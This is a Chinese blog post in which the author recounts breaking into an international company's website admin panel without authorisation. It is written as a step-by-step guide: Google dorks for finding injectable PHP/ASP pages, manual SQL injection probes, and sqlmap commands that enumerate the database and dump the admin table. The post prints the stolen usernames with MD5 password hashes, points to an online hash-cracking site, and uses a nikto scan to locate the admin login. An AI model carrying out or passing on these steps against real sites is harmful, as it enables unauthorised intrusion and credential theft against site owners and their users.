date = "2018-12-16T01:02:24+08:00"
title = "记录一次sqlmap的使用 "
categories = ["linux"]
tags = ["security"]
toc = true
author = "younglinuxer"
comments = true
author_homepage = "https://blog.youngblog.cc/"
记录一次sqlmap的使用
记录一次 sqlmap的使用过程,本次成功入侵一个国际集团公司的网站后台管理 不方便透露相关信息 域名使用xxx 代替,
云服务商对应有相关防护功能(一般扫描几次后就直接拒绝连接了) 一般考虑网站都为自建机房 未建立相关安全措施,没有waf防火墙的限制(当然一般企业也不会考虑花费很大的成本在硬件设备上)
能成功获取到对应后台很大一部分的运气成分 ,如果存在注入点 记得多尝试几次 本文耗时近3个小时才成功拿到后台
使用google搜索相关网站
一般存在sql注入的网站 大部分为php 或者asp等语言 我们需要搜索出相关的网站作为目标进行测试
google 搜索
公司 inurl:asp?id=
公司 inurl:php?id=
手工测试注入信息
目前收手工注入能大致判断 是否存在注入信息再用sqlmap来进行注入测试 但是如果时间富裕直接使用sqlmap去扫描一下会得到更多的信息
http://www.xxxxx.com/about.php?id=12
手工注入1:http://www.xxxxx.com/about.php?id=12' //末尾添加 ' 符号
手工注入2:http://www.xxxxx.com/about.php?id=12 and 1=1 //末尾添加 and 1=1 应该是输出正常信息 and 1=2 应该输出报错信息
sqlmap 使用过程
sqlmap -u http://www.xxxxx.com/about.php?id=12 --dbs --current-user //能查找出连接数据库的用户
sqlmap -u http://www.xxxxx.com/about.php?id=12 --tables //直接猜表名 推荐使用这种方式 如果能猜测对方使用的数据库类型可以直接指定数据库类型能节省猜测数据库的时间
sqlmap -u http://www.xxxxx.com/about.php?id=12 --dbs mysql --tables //指定数据库类型为mysql 猜测表名 sqlmap字典包含常用的表名(admin users 这些)
//我们通过上面命令得到 数据库类型为mysql 数据库为 infinity_2017 猜测出的表有(about,admin,bottom_lay,class,flash,friends,fund,...)
//我们需要猜测出admin表下对应的字段
sqlmap -u http://www.xxxxx.com/about.php?id=12 -D infinity_2017 -T admin --columns //指定数据库为infinity_2017 表为admin 等待扫描结果出来admin表下对应的字段名()
[16:09:52] [INFO] fetching columns for table 'admin' in database 'infinity_2017'
Database: infinity_2017
Table: admin
[7 columns]
+----------+--------------+
| Column | Type |
+----------+--------------+
| admin | varchar(200) |
| adpwd | varchar(200) |
| dateTime | date |
| id | int(11) |
| lsum | varchar(20) |
| qx | varchar(20) |
| trueName | varchar(20) |
//下面我们需要导出admin表下面的数据
sqlmap -u http://www.xxxxx.com/about.php?id=12 -D infinity_2017 -T admin -C admin,adpwd,lsum,trueName --dump //得到对应admin表下对应的数据
Database: infinity_2017
Table: admin
[2 entries]
+-----------+----------------------------------+------+-------+----------+
| admin | adpwd | lsum | qx | trueName |
+-----------+----------------------------------+------+-------+----------+
| admin | 0af620ed81466db2f1fc8404da918eb2 | 147 | 超级管理员 | admin |
| yygzs2018 | f3f1c26545d2424e5bbc7bf12a8f2dc6 | 10 | 超级管理员 | yygz |
+-----------+----------------------------------+------+-------+----------+
//但是密码经过了加密 sqlmap 会提示是否使用本地字典对adpwd的值进行对比 看是否存在相同的密码 但是很大的情况运气成分占比很小
字符解密
//这里提供一个解密网站 直接在线解密 可以得出上面密码的解密字符串
https://md5decrypt.net/ //需要佛跳墙+
登陆后台
网站页面无相关登陆后台连接,可以使用nikto 对网站目录进行扫描
nikto -host www.xxxxx.com //得到网站下的目录
通过扫描得到后台发布新闻的页面 //但是并不是登陆地址 可以直接访问富文本编辑器 和部分代码
//在js文件里面找到对应后台管理地址
至此结束